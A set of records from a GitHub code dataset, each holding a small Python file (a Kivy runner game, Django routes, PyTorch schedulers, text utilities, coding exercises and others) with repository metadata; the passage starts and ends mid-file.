= 'nearest'\n\n\nclass SpriteAtlas(Atlas):\n def _load(self):\n # must be a name finished by .atlas ?\n filename = self._filename\n assert(filename.endswith('.atlas'))\n filename = filename.replace('/', os.sep)\n\n Logger.debug('Atlas: Load <%s>' % filename)\n with open(filename, 'r') as fd:\n meta = json.load(fd)\n\n Logger.debug('Atlas: Need to load %d images' % len(meta))\n d = dirname(filename)\n textures = {}\n for subfilename, ids in meta.items():\n subfilename = join(d, subfilename)\n Logger.debug('Atlas: Load <%s>' % subfilename)\n\n # load the image\n ci = CoreImage(subfilename)\n\n # this is the fix for pixel art\n ci.texture.mag_filter = 'nearest'\n\n # for all the uid, load the image, get the region, and put\n # it in our dict.\n for meta_id, meta_coords in ids.items():\n x, y, w, h = meta_coords\n textures[meta_id] = ci.texture.get_region(*meta_coords)\n\n self.textures = textures\n\nclass Obstacles():\n def __init__(self):\n self.rocks = []\n self.ticks_with_no_rocks = 0\n self.vx = -360\n self.vy = 0\n\n def addrock(self):\n sprite = Sprite(source='rock.png')\n sprite.pos = (1000,0)\n self.rocks.append(sprite)\n App.get_running_app().root.add_widget(sprite)\n\n def update(self, dt):\n player = App.get_running_app().game.player\n for sprite in self.rocks:\n sprite.x += self.vx * dt\n sprite.y += self.vy * dt\n if sprite.x < -50:\n App.get_running_app().root.remove_widget(sprite)\n if sprite.collide_widget(player):\n App.get_running_app().game.gameOver()\n\n\n self.ticks_with_no_rocks += 1\n if self.ticks_with_no_rocks > 60:\n rand = randint(1, 100)\n if rand < 3:\n self.addrock()\n self.ticks_with_no_rocks = 0\n\n\n\nclass Player(Sprite):\n\n def __init__(self, pos):\n self.images = SpriteAtlas('RUN.atlas')\n super(Player, self).__init__(texture=self.images['1'], pos=pos)\n self.velocity_y = 0\n self.gravity = -900;\n self.tick = 1.0/60.0\n self.ticks = 0;\n self.height *= 2\n self.width *= 2\n\n def update(self, dt):\n self.ticks += 1\n if self.y < 0:\n self.velocity_y = 0\n self.y = -0.1\n else:\n self.velocity_y += self.gravity * dt\n self.velocity_y = max(self.velocity_y, -600)\n self.y += self.velocity_y * dt\n frame = int(math.floor( self.ticks / 10)) % 8\n self.texture = self.images[str(frame)]\n\n def jump(self):\n if self.y < 0:\n self.velocity_y = 400;\n self.y = 1\n\n\nclass Background(Widget):\n def __init__(self, source):\n super(Background, self).__init__()\n self.image = Sprite(source=source)\n self.add_widget(self.image)\n self.size = self.image.size\n self.image_dupe = Sprite(source=source, x=self.width)\n self.add_widget(self.image_dupe)\n self.speed = 4;\n self.tick = 1.0/60.0\n\n def update(self, dt):\n self.image.x -= self.speed * (dt / self.tick)\n self.image_dupe.x -= self.speed * (dt / self.tick)\n if self.image.right <= 0:\n self.image.x = 0\n self.image_dupe.x = self.width\n\n\nclass Game(Widget):\n def __init__(self):\n super(Game, self).__init__()\n Clock.schedule_interval(self.update, 1.0 / 60.0)\n self.background = Background(source=\"background.png\")\n self.add_widget(self.background)\n self.player = Player(pos=(100,-0.1))\n self.add_widget(self.player)\n self.obstacles = Obstacles()\n\n self._keyboard = Window.request_keyboard(self._keyboard_closed, self)\n self._keyboard.bind(on_key_down=self._on_keyboard_down)\n\n self.game_running = False\n\n def setGameState(self, state):\n self.game_running = state\n\n def update(self, dt):\n if self.game_running:\n self.background.update(dt=dt)\n self.player.update(dt=dt)\n self.obstacles.update(dt=dt)\n\n def _on_keyboard_down(self, keyboard, keycode, text, modifiers):\n if keycode[1] == 'spacebar':\n self.player.jump()\n return True\n\n def _keyboard_closed(self):\n self._keyboard.unbind(on_key_down=self._on_keyboard_down)\n self._keyboard = None\n\n def gameOver(self):\n self.game_over = True\n self.setGameState(False)\n\n\nclass ScreenMan(Widget):\n def __init__(self):\n super(ScreenMan,self).__init__()\n\n\nclass Menu(Widget):\n def __init__(self):\n super(Menu,self).__init__()\n self.back = Sprite(source='background.png')\n self.add_widget(self.back)\n\n start_button = Button(text='Start')\n self.add_widget(start_button)\n\n def start(self):\n app = App.get_running_app()\n app.start()\n App.get_running_app().game.setGameState(True)\n\n\n\nclass Runner(App):\n def build(self):\n self.menu = Menu()\n self.sm = ScreenMan()\n self.sm.add_widget(self.menu)\n return self.sm\n\n def start(self):\n print (\"starting\")\n self.sm.clear_widgets()\n self.game = Game()\n self.sm.add_widget(self.game)\n\n\n\nif __name__ == '__main__':\n Runner().run()\n","repo_name":"albertcrowley/outdoor-runner","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31256464663","text":"from django.urls import path\nfrom . import views\n\napp_name = 'fog_detect'\nurlpatterns = [\n path('', views.index, name='index'),\n path('get_loc_ajax/', views.get_loc_ajax, name=\"get_loc_ajax\"),\n path('get_loc_wea/', views.get_loc_wea, name=\"get_loc_wea\"),\n path('get_tmp_hum/', views.get_tmp_hum, name=\"get_tmp_hum\"),\n path('rush/', views.index, name=\"rush\"),\n # path('redis_cache/', views.redis_cache, name='redis_cache') # celery异步测试失败,先搁置。\n]","repo_name":"noobcoderr/FogDetect","sub_path":"fog_detect/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"23582553771","text":"error_msg = 'IMPOSSIBLE'\n\ndef pure_unicorns(N,R,Y,B): \n \n \n ryb = [(R,'R'),(Y,'Y'),(B,'B')]\n ryb.sort(key = lambda tup: tup[0], reverse = True)\n \n (x,xs),(y,ys),(z,zs) = ryb\n \n if x * 2 > N:\n return error_msg\n \n pure = (xs+ys+zs)*(y+z-x) + (xs+ys)*(x-z) + (xs+zs)*(x-y)\n \n return pure\n \n \n\ndef set_unicorns(unicorns):\n N,R,O,Y,G,B,V = unicorns\n \n if O == B and O + B == N:\n return 'OB'*(N//2)\n if G == R and G + R == N:\n return 'GR'*(N//2)\n if V == Y and V + Y == N:\n return 'VY'*(N//2)\n\n \n if (O > 0 and O > B - 1) or (G > 0 and G > R - 1) or (V > 0 and V > Y - 1):\n return error_msg\n \n pure = pure_unicorns(N-2*(O+G+V), R-G, Y-V, B-O)\n \n if pure == error_msg:\n return error_msg\n \n \n pure = pure.replace('B','B'+'OB'*O,1)\n pure = pure.replace('R','R'+'GR'*G,1)\n pure = pure.replace('Y','Y'+'VY'*V,1)\n \n return pure\n\n\n\nT = int(input())\n\nfor t in range(1,(T+1)):\n unicorns = [int(s) for s in input().split(' ')]\n print('Case #{}: {}'.format(t, set_unicorns(unicorns)))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_207/187.py","file_name":"187.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29388622876","text":"import docx\nfrom bs4 import BeautifulSoup\nimport requests\nimport os\nimport rake\nimport operator\n\nclass docx_to_txt:\n def __init__(self, filePath):\n self.name = filePath\n\n def parseDocx(self):\n doc = docx.Document(self.name)\n output_file_name = 'output.txt'\n fullText = []\n\n tables = doc.tables\n prev = ''\n definingCategories = ['Project Title','Project Manager', 'Project Start Date', 'Project End Date',\n 'Project Sponsor', 'Project Sponsor', 'Project Type', 'Function/Department'\n 'Operating Company/Division', 'Business Need', 'Project Scope', 'Deliverables'\n 'Risks & Issues','Assumptions','Key Activities','Financials','Milestones','Target Completion Date'\n 'Project Manager','Team Member','Sponsor','Corporate HR Manager','Operating Company HR','Operating Company President'\n ,'Rank','Downloads','Shares']\n categoriesDict = {}\n saveInDict = False\n for table in tables:\n for row in table.rows:\n for cell in row.cells:\n for paragraph in cell.paragraphs:\n if(prev in definingCategories):\n categoriesDict[prev] = paragraph.text\n prev = paragraph.text\n\n return categoriesDict\n\nclass html_to_txt:\n def __init__(self, url):\n self.name = url\n\n def convertUrl(self):\n page = requests.get(self.name)\n soup = BeautifulSoup(page.content, 'html.parser')\n # print(soup.prettify())\n soup_string = str(soup.text)\n text_file = open(\"./output.txt\",\"w\")\n text_file.write(soup_string)\n text_file.close()\n\n\nclass rake_classify:\n def __init__(self, filePath):\n self.name = filePath\n\n def extractKeywords(self):\n with open(self.name, 'r') as myfile:\n text = myfile.read().replace('\\n', '')\n # print \"text is \", text\n\n #using constraint where each keyword appears in text at least twice\n rake_object = rake.Rake(\"SmartStoplist.txt\", 3, 3, 1)\n keywords = rake_object.run(text)\n print(\"keywords1 are \", keywords)\n\n #using constraint where each keyword appears in text at least three times\n rake_object = rake.Rake(\"SmartStoplist.txt\", 3, 3, 2)\n keywords = rake_object.run(text)\n print(\"keywords2 are \", keywords)\n","repo_name":"brianzhan/LinksRelevantInfo","sub_path":"RAKE/docx_to_txt.py","file_name":"docx_to_txt.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30493212063","text":"import torch\r\nimport numpy as np\r\n\r\n\r\ndef cosine_annealinglr_cus(optimizer, T_max=10000, lr_min=1e-6, lr=1e-3, **kwargs):\r\n def _cosine_annealing(step, total_steps, lr_max, lr_min):\r\n return lr_min + (lr_max - lr_min) * 0.5 * (1 + np.cos(step / total_steps * np.pi))\r\n\r\n lr_scheduler = torch.optim.lr_scheduler.LambdaLR(\r\n optimizer,\r\n lr_lambda=lambda step: _cosine_annealing(\r\n step=step,\r\n total_steps=T_max,\r\n lr_max=lr, # since lr_lambda computes multiplicative factor\r\n lr_min=lr_min,\r\n ),\r\n )\r\n return lr_scheduler, 'iteration'\r\n\r\n\r\ndef cosine_annealinglr_pt(optimizer, T_max=10000, eta_min=1e-6, last_epoch=- 1, verbose=False, **kwargs):\r\n lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(\r\n optimizer, T_max, eta_min=eta_min, last_epoch=last_epoch, verbose=verbose)\r\n return lr_scheduler, 'iteration'\r\n\r\n\r\ndef cosine_annealing_warm_restarts(optimizer, T_max=10000, T_mult=1, eta_min=0, last_epoch=- 1, verbose=False, **kwargs):\r\n lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingWarmRestarts(\r\n optimizer, T_0=T_max, T_mult=T_mult, eta_min=eta_min, last_epoch=last_epoch, verbose=verbose)\r\n return lr_scheduler, 'iteration'\r\n\r\n\r\ndef cycliclr(optimizer, base_lr=1e-8, max_lr=1e-3, T_max=10000,\r\n mode='triangular2', gamma=1.0, scale_fn=None, scale_mode='cycle', cycle_momentum=False,\r\n base_momentum=0.8, max_momentum=0.9, last_epoch=- 1, verbose=False, **kwargs):\r\n \"\"\"\r\n Cyclical learning rate policy changes the learning rate after every batch.\r\n `step` should be called after a batch has been used for training.\r\n\r\n This class has three built-in policies, as put forth in the paper:\r\n\r\n * \"triangular\": A basic triangular cycle without amplitude scaling.\r\n * \"triangular2\": A basic triangular cycle that scales initial amplitude by half each cycle.\r\n * \"exp_range\": A cycle that scales initial amplitude by :math:`\\text{gamma}^{\\text{cycle iterations}}`\r\n at each cycle iteration.\r\n\r\n This implementation was adapted from the github repo: `bckenstler/CLR`_\r\n\r\n .. _Cyclical Learning Rates for Training Neural Networks: https://arxiv.org/abs/1506.01186\r\n .. _bckenstler/CLR: https://github.com/bckenstler/CLR\r\n \"\"\"\r\n step_size_up = T_max // 2\r\n step_size_down = T_max // 2\r\n\r\n lr_scheduler = torch.optim.lr_scheduler.CyclicLR(\r\n optimizer,\r\n base_lr=base_lr, max_lr=max_lr, step_size_up=step_size_up, step_size_down=step_size_down,\r\n mode=mode, gamma=gamma, scale_fn=scale_fn, scale_mode=scale_mode, cycle_momentum=cycle_momentum,\r\n base_momentum=base_momentum, max_momentum=max_momentum, last_epoch=last_epoch, verbose=verbose\r\n )\r\n return lr_scheduler, 'iteration'\r\n\r\n\r\ndef steplr(optimizer, step_size, lr_decay, **kwargs):\r\n sche_fn = torch.optim.lr_scheduler.StepLR(optimizer,\r\n step_size=step_size,\r\n gamma=lr_decay)\r\n lr_step = 'epoch'\r\n # print('Initialised step LR scheduler')\r\n return sche_fn, lr_step\r\n","repo_name":"hiimmuc/Speaker-verification-pytorch","sub_path":"callbacks/torch_callbacks.py","file_name":"torch_callbacks.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"16801625854","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport cv2\nimport motor\n\nMAX_MOVES = 20\nIMG_PATH = os.environ['XDG_RUNTIME_DIR'] + '/robo_stream.jpg'\ndecoder = cv2.QRCodeDetector()\n\ndef decode_qr():\n img = cv2.imread(IMG_PATH)\n data, points, _ = decoder.detectAndDecode(img)\n return data\n\ndef goto(target):\n for i in range(MAX_MOVES):\n motor.forward(speed=1, duration=0.1)\n data = decode_qr()\n print(f'searching {i + 1}/{MAX_MOVES}, data: {data}')\n if data == target:\n return True\n return False\n\ndef main():\n target = sys.argv[1]\n print('target:', repr(target))\n found = goto(target)\n print('found status:', found)\n\nmain()\n","repo_name":"marwano/robo","sub_path":"ch10/goto_qr.py","file_name":"goto_qr.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74179550914","text":"from typing import (Any,\n Collection,\n Iterable)\n\nimport pytest\nfrom hypothesis import given\n\nfrom lz import (left,\n right)\nfrom lz.replication import duplicate\nfrom lz.transposition import transpose\nfrom tests.utils import (are_iterables_similar,\n is_empty,\n iterable_ends_with,\n iterable_starts_with)\nfrom . import strategies\n\n\n@given(strategies.empty_iterables)\ndef test_base_case(empty_iterable: Iterable[Any]) -> None:\n result = transpose(empty_iterable)\n\n assert is_empty(result)\n\n\n@given(strategies.transposable_iterables,\n strategies.transposable_iterables_elements)\ndef test_step_left(transposable_iterable: Iterable[Collection[Any]],\n transposable_iterable_element: Collection[Any]) -> None:\n original_element, target_element = duplicate(transposable_iterable_element)\n\n result = transpose(left.attacher(target_element)(transposable_iterable))\n\n assert all(iterable_starts_with(iterable, [coordinate])\n for iterable, coordinate in zip(result, original_element))\n\n\n@given(strategies.transposable_iterables,\n strategies.transposable_iterables_elements)\ndef test_step_right(transposable_iterable: Iterable[Collection[Any]],\n transposable_iterable_element: Collection[Any]\n ) -> None:\n original_element, target_element = duplicate(transposable_iterable_element)\n\n result = transpose(right.attacher(target_element)(transposable_iterable))\n\n assert all(iterable_ends_with(iterable, [coordinate])\n for iterable, coordinate in zip(result, original_element))\n\n\n@given(strategies.non_empty_transposable_iterables)\ndef test_involution(\n non_empty_transposable_iterable: Iterable[Collection[Any]]\n) -> None:\n original, target = duplicate(non_empty_transposable_iterable)\n\n result = transpose(transpose(target))\n\n assert are_iterables_similar(result, original)\n\n\n@given(strategies.scalars)\ndef test_unsupported_type(object_: Any) -> None:\n with pytest.raises(TypeError):\n transpose(object_)\n","repo_name":"lycantropos/lz","sub_path":"tests/transposition_tests/test_transpose.py","file_name":"test_transpose.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"10034866360","text":"import gc\nimport gensim\nimport nltk\nfrom nltk.corpus import stopwords\nimport numpy as np\nimport os\nimport pandas as pd\nimport pyLDAvis.gensim\nimport random\nimport re\nimport string\nimport time\nfrom tqdm import tqdm\n\ndef join_files(directory_path=None):\n \"\"\"\n Read JSON file(s) into DataFrame\n \n Parameters\n ----------\n filepath : str\n Filepath to directory containing JSON file(s)\n \n \n Returns\n -------\n result : DataFrame\n \"\"\"\n start = time.time()\n if not isinstance(directory_path, str):\n raise TypeError(\"Directory path must be string\")\n \n list_dfs = []\n \n for item in os.listdir(directory_path):\n temp_df = pd.read_json(os.path.join(directory_path,item))\n list_dfs.append(temp_df)\n \n full_dataframe = pd.concat(list_dfs)\n full_dataframe.reset_index(drop=True, inplace=True)\n \n print('Elapsed time: {} seconds'.format(time.time()-start))\n print('Full dataframe: {} rows, {} columns'.format(full_dataframe.shape[0], full_dataframe.shape[1]))\n return full_dataframe\n\ndef cut_table(full_table, keep=0.5):\n \"\"\"\n\tCut the table to a percentage of its orignal length by\n\tshuffling indicies and dropping appropriate rows\n\n\tParameters\n\t----------\n\tfull_table, DataFrame\n\t\tDataFrame to be cut\n\tkeep, int or real-value in (0,1)\n\t\tNumber of rows or percentage of rows to be retained\n\t\n\tReturns\n\t-------\n\tShorter DataFrame than original\n\n >>> df\n A B C D\n 0 0 1 2 3\n 1 2 5 2 6\n 2 0 9 9 9\n 3 8 9 1 1\n >>> df.cut_table(df, keep=0.5)\n A B C D\n 0 0 1 2 3 \n 3 8 9 1 1\n\t\"\"\"\n\n indices = list(full_table.index)\n random.shuffle(indices)\n\n if isinstance(keep, int):\n remove = (len(indices) - keep)\n return full_table.drop(index=indices[0:remove], axis=0)\n else:\n remove = (1 - keep)\n return full_table.drop(index=indices[0:int(len(indices)*remove)], axis=0)\n\ndef trim_table(dataframe, columns_to_keep):\n \"\"\"\n Removes unwanted columns from dataframe. Does not drop columns in-place.\n \n Parameters\n ----------\n dataframe : Pandas DataFrame\n Target DataFrame to be trimmed\n columns_to_keep : single label or list-like\n Column names to be dropped\n \n Returns\n -------\n result : DataFrame\n \"\"\"\n\n cols_remove = [x for x in list(dataframe.columns) if x not in columns_to_keep]\n dataframe = dataframe.drop(cols_remove, axis=1, inplace=False)\n return dataframe\n\n\ndef clean_text(x, tokenized=True):\n \"\"\"Removes punctuation and other unwanted characters from string.\n \n Parameters\n ----------\n x : str\n tokenized : boolean, default True\n Specify if resulting string to be tokenized\n \n Returns\n -------\n x : str\n \"\"\"\n description = x.split()\n description = [x.lower() for x in description]\n description = [str(x) for x in description]\n description = [x.translate(string.punctuation) for x in description]\n remove_digits = str.maketrans('', '', string.digits)\n description = [x.translate(remove_digits) for x in description]\n description = [re.sub(r'[^A-Za-z0-9]+', '', x) for x in description]\n description = list(filter(None, description))\n if tokenized:\n return description\n else:\n return ' '.join(description)\n\ndef remove_stopwords(description):\n \"\"\"Removes stopwords found in NLTK's generic stopwords list.\n\n Parameters\n ----------\n description : tokenized list of string elements\n\n Returns\n -------\n destription : tokenize list of string elements, not including stopwords \n \"\"\"\n stoplist = stopwords.words('english')\n description = [word.lower() for word in description if word not in stoplist]\n return description\n","repo_name":"alexandercameronh/LDA_topic_modeling_arxiv","sub_path":"hughes_utilities.py","file_name":"hughes_utilities.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70415695556","text":"def fillInventory(list):\n answer = 'S'\n while answer == 'S':\n equipment = [input('\\nEquipamento: '),float(input('Valor: ')),int(input('Numero Serial: ')),input('Departamento: ')]\n list.append(equipment)\n answer = input('\\nDigite \\'S\\' para continuar: ').upper()\n\ndef showInventory(list):\n for i in list:\n print('Nome.........:' , i[0])\n print('Valor........:' , i[1])\n print('Serial.......:' , i[2])\n print('Departamento.:' , i[3])\n print('-'*20)\n\ndef searchByName(list,name):\n for i in list:\n if name == i[0]:\n print('Valor........:' , i[1])\n print('Serial.......:' , i[2])\n\ndef depreciateByName(list,name,porcent):\n for i in list:\n if name == i[0]:\n print('Valor antigo.:' , i[1])\n i[1] *= 1 - (porcent/100)\n print('Novo valor...:' , i[1])\n\ndef removeBySerial(list,serial):\n for i in list:\n if serial == i[2]:\n list.remove(i)\n return 'Itens excluídos.'\n\ndef totalValues(list):\n values = []\n for i in list:\n values.append(i[1])\n\n if len(values) > 0:\n print('O equipamento mais caro custa: ',max(values))\n print('O equipamento mais barato custa: ',min(values))\n print('O total de equipamentos é de: ',sum(values))\n","repo_name":"dressaco/Python-FiapOn","sub_path":"Cap03Pt02_Funcoes/Ex01_IdentificacaoDeFuncoes.py","file_name":"Ex01_IdentificacaoDeFuncoes.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71315897153","text":"# Import standard libraries\nimport os\nimport time\nimport datetime\nimport pytz\n\n# Import scientific computing libraries\nimport torch\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Import PyTorch neural network module\nfrom torch import nn\n\n# Import custom utilities\nfrom utils.imports import print_runtime, ls_pt\n\n\ndef clean_text(text: str, vocab: set) -> str:\n cleaned_text = ''.join([char if char in vocab else ' ' for char in text])\n return cleaned_text\n\ndef pretty_print_number(num_chars: int) -> str:\n if num_chars < 1e6:\n return f'{num_chars * 1e-3:3.2f} K'\n elif num_chars < 1e9:\n return f'{num_chars * 1e-6:3.2f} M'\n elif num_chars < 1e12:\n return f'{num_chars * 1e-9:3.2f} G'\n return ''\n\n\ndef load_google_corpus(device: int, idx: int) -> (torch.Tensor, int):\n start_time = time.time()\n filename = ls_pt[idx % len(ls_pt)]\n data = torch.load(filename).long()\n \n if device == 0:\n print(f'Loaded Google Corpus: file index {idx} -- {idx / len(ls_pt) * 100:.0f}% completed')\n print(f'{filename.split(\"/\")[-1]} -- Data Length: {len(data) / 1e6:.2f} million tokens -- {print_runtime(start_time, False)}')\n\n return data, idx + 1\n\n\ndef load_openwebtext_dataset() -> (np.ndarray, np.ndarray):\n data_dir = os.path.join(os.getcwd(), 'dataset/openwebtext/')\n train_data = np.memmap(os.path.join(data_dir, 'train.bin'), dtype=np.uint16, mode='r')\n val_data = np.memmap(os.path.join(data_dir, 'val.bin'), dtype=np.uint16, mode='r')\n \n return train_data, val_data\n\n\n\ndef get_grad_vector(model: nn.Module) -> torch.Tensor:\n list_grads = [param.grad.view(-1, 1).detach().cpu() for name, param in model.named_parameters() if param.requires_grad and param.grad is not None]\n grad_vector = torch.cat(list_grads)\n return grad_vector\n\n\ndef find_min_non_zero(inputs: list) -> int:\n return min(x for x in inputs if x is not None) if any(inputs) else 0\n\n\ndef plotter(\n model: nn.Module,\n device: int,\n list_steps: list,\n list_losses: list,\n list_lr: list,\n list_ppl_val: list,\n list_steps_val: list,\n list_losses_val: list,\n list_secs: list,\n start: float,\n savefig: bool = True,\n) -> None:\n if device != 0:\n return\n \n s0 = time.time()\n \n step = len(list_losses)\n list_steps = np.array(list_steps)\n list_steps_val = np.array(list_steps_val)\n \n # define subplots layout \n fig = plt.figure(figsize=(3.5 * 1.618 * 2, 3.5 * 3))\n spec = fig.add_gridspec(3, 2, height_ratios=[1.5, 2, 2])\n ax00 = fig.add_subplot(spec[0, :])\n ax10 = fig.add_subplot(spec[1, 0])\n ax11 = fig.add_subplot(spec[1, 1])\n ax20 = fig.add_subplot(spec[2, 0])\n ax21 = fig.add_subplot(spec[2, 1])\n\n ax00.set_axis_off()\n ax00.text(0, 0.9, model.module.specs, ha='left', va='top', family='monospace', size='smaller')\n ax00.text(0, 0.5, model.module.table, ha='left', va='top', family='monospace', size='smaller')\n\n ax10.semilogy(list_steps_val, list_losses_val, 'r-', alpha=.6, label=f'val {find_min_non_zero(list_losses_val):.2f}')\n ax10.semilogy(list_steps, list_losses, 'k-', alpha=.6, label=f'train {find_min_non_zero(list_losses):.2f}')\n ax10.set_title(f'Cross-Entropy Loss (step={step}) {print_runtime(start, False)} ')\n ax10.set_ylim(min(3, find_min_non_zero(list_losses)-0.1), 11)\n \n ax11.plot(list_steps, list_lr, 'k', alpha=.5)\n ax11.set_title('learning_rate')\n ax11.set_ylim(0)\n\n ax20.plot(list_steps, list_secs, 'k.', alpha=.5, label='Wall time per step')\n ax20.set_ylabel('sec')\n\n ax21.plot(list_steps_val, list_ppl_val, 'k-', alpha=.6, label=f'test perplexity\\n{find_min_non_zero(list_ppl_val):.2f}')\n ax21.set_ylim(0, 90)\n\n [ax.set_xlabel('steps') for ax in [ax11, ax21]]\n [ax.legend() for ax in [ax10, ax20, ax21]]\n [ax.set_xlim(0) for ax in [ax10, ax20, ax11, ax21]]\n \n if savefig:\n pst = pytz.timezone('US/Pacific')\n delta = - datetime.timedelta(hours=8) + datetime.timedelta(minutes=20) + datetime.timedelta(seconds=42)\n dt = datetime.datetime.now(pst) + delta\n prefix = dt.isoformat().split('.')[0]\n prefix = prefix.replace('T', ' | ')\n plt.savefig(f'figures/loss_{step:05d}.png', bbox_inches='tight')\n print(f'Saved plot')\n else:\n plt.show()\n\n plt.close()\n\n\n\n\n\n\n\n\n","repo_name":"ozkansafak/decoder-llm","sub_path":"utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28132559655","text":"# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## Customize your APP title, subtitle and menus here\n#########################################################################\n\nresponse.logo = A(IMG(_src=URL('static', 'images/icon.png'),_href=URL('default', 'index')))\nresponse.title = request.application.replace('_',' ').title()\nresponse.subtitle = ''\n\n## read more at http://dev.w3.org/html5/markup/meta.name.html\nresponse.meta.author = 'Laboratorio de Química Teórica - LQT - lavecchia.at.gmail.com'\nresponse.meta.description = 'NaturAr: base de datos de compuestos naturales de la Argentina'\nresponse.meta.keywords = 'compuestos naturales, base de datos, estructura molecular, moléculas'\nresponse.meta.generator = 'NaturAr'\n\n## your http://google.com/analytics id\nresponse.google_analytics_id = None\n\n#########################################################################\n## this is the main application menu add/remove items as required\n#########################################################################\n\nresponse.menu = [\n (T('Home'), False, URL('default', 'index'), []),\n #~ (T('Research Groups'), False, URL('groups', 'list'), []),\n (T('Compounds'), False, URL('compuestos', 'buscar'), []),\n (T('+Info'), False, None, [\n\t\t#~ (T('Changelog'), False, URL('info', 'changelog'), []),\n (T('ToDo list'), False, URL('info', 'todo'), []),\n\t\t(T('About NaturAr'), False, URL('info', 'about'), []),\n ]),\n #~ (T('Extracts'), False, URL('extracts', 'buscar'), [])\n\t]\n\nif auth.is_logged_in():\n response.menu.extend(\n [(T('Submission'), False, None, \n [\n (T('Compound'), False, URL('submission', 'submit_compound'),[]),\n (T('Submitted Compound'), False, URL('submission', 'compound_submitted'),[]),\n \n ])]\n )\n #~ response.menu.extend(\n #~ [(T('Messaging'), False, URL('messaging', 'inbox'), [])]\n #~ )\n response.menu.extend(\n [(T('Dowload'), False, None, \n [\n (T('All Structures'), False, URL('compuestos', 'get_allmol'),[]),\n (T('All except semisynthetic'), False, URL('compuestos', 'get_allnatural'),[]),\n \n ])]\n )\n\n\nDEVELOPMENT_MENU = False\n\n#########################################################################\n## provide shortcuts for development. remove in production\n#########################################################################\n\ndef _():\n # shortcuts\n app = request.application\n ctr = request.controller\n # useful links to internal and external resources\n response.menu += [\n (T('My Sites'), False, URL('admin', 'default', 'site')),\n (T('This App'), False, '#', [\n (T('Design'), False, URL('admin', 'default', 'design/%s' % app)),\n LI(_class=\"divider\"),\n (T('Controller'), False,\n URL(\n 'admin', 'default', 'edit/%s/controllers/%s.py' % (app, ctr))),\n (T('View'), False,\n URL(\n 'admin', 'default', 'edit/%s/views/%s' % (app, response.view))),\n (T('DB Model'), False,\n URL(\n 'admin', 'default', 'edit/%s/models/db.py' % app)),\n (T('Menu Model'), False,\n URL(\n 'admin', 'default', 'edit/%s/models/menu.py' % app)),\n (T('Config.ini'), False,\n URL(\n 'admin', 'default', 'edit/%s/private/appconfig.ini' % app)),\n (T('Layout'), False,\n URL(\n 'admin', 'default', 'edit/%s/views/layout.html' % app)),\n (T('Stylesheet'), False,\n URL(\n 'admin', 'default', 'edit/%s/static/css/web2py-bootstrap3.css' % app)),\n (T('Database'), False, URL(app, 'appadmin', 'index')),\n (T('Errors'), False, URL(\n 'admin', 'default', 'errors/' + app)),\n (T('About'), False, URL(\n 'admin', 'default', 'about/' + app)),\n ]),\n \n ]\nif DEVELOPMENT_MENU: _()\n\nif \"auth\" in locals(): auth.wikimenu() \n\n","repo_name":"lavecchia/naturardb","sub_path":"models/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":4226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28988829563","text":"def twoSum(nums: list, target: int):\n pos_dict = {}\n for i in range(len(nums)):\n \n number = nums[i]\n \n goal = target - nums[i]\n \n if pos_dict.get(goal, -1) != -1:\n return [i, pos_dict[goal]]\n \n pos_dict[number] = i\n\nprint(twoSum([1,2,7,11,19],9))","repo_name":"galib96/Coding-Practice-Python","sub_path":"Leetcode/two_sum.py","file_name":"two_sum.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72869452035","text":"#14499 주사위 굴리기 \n'''\n- (n * m) r:row , c:col \n- \n'''\nn, m, x, y, k = map(int, input().split())\nmat = [ list(map(int, input().split())) for _ in range(n)] \ncmdList = list(map(int, input().split())) #동서북남 \n\ndx = [0, 0, 0, -1, 1]\ndy = [0, 1, -1, 0, 0]\n\n#주사위 윗면 -> 0, 아랫면 -> 5\ndice = [0,0,0,0,0,0]\n\nfor cmd in cmdList:\n nx, ny = x + dx[cmd], y + dy[cmd]\n #바깥으로 이동하려하면 해당 명령 무시 \n if nx < 0 or ny < 0 or nx > n-1 or ny > m-1:\n continue \n \n #주사위 변경 \n if cmd == 1:\n dice[0], dice[2], dice[4], dice[5] = dice[2], dice[5], dice[0], dice[4]\n elif cmd == 2:\n dice[0], dice[2], dice[4], dice[5] = dice[4], dice[0], dice[5], dice[2]\n elif cmd == 3:\n dice[0], dice[1], dice[3], dice[5] = dice[3], dice[0], dice[5], dice[1]\n else:\n dice[0], dice[1], dice[3], dice[5] = dice[1], dice[5], dice[0], dice[3]\n \n #이동\n x, y = nx, ny\n \n #정상적인 이동이 된다면 -> 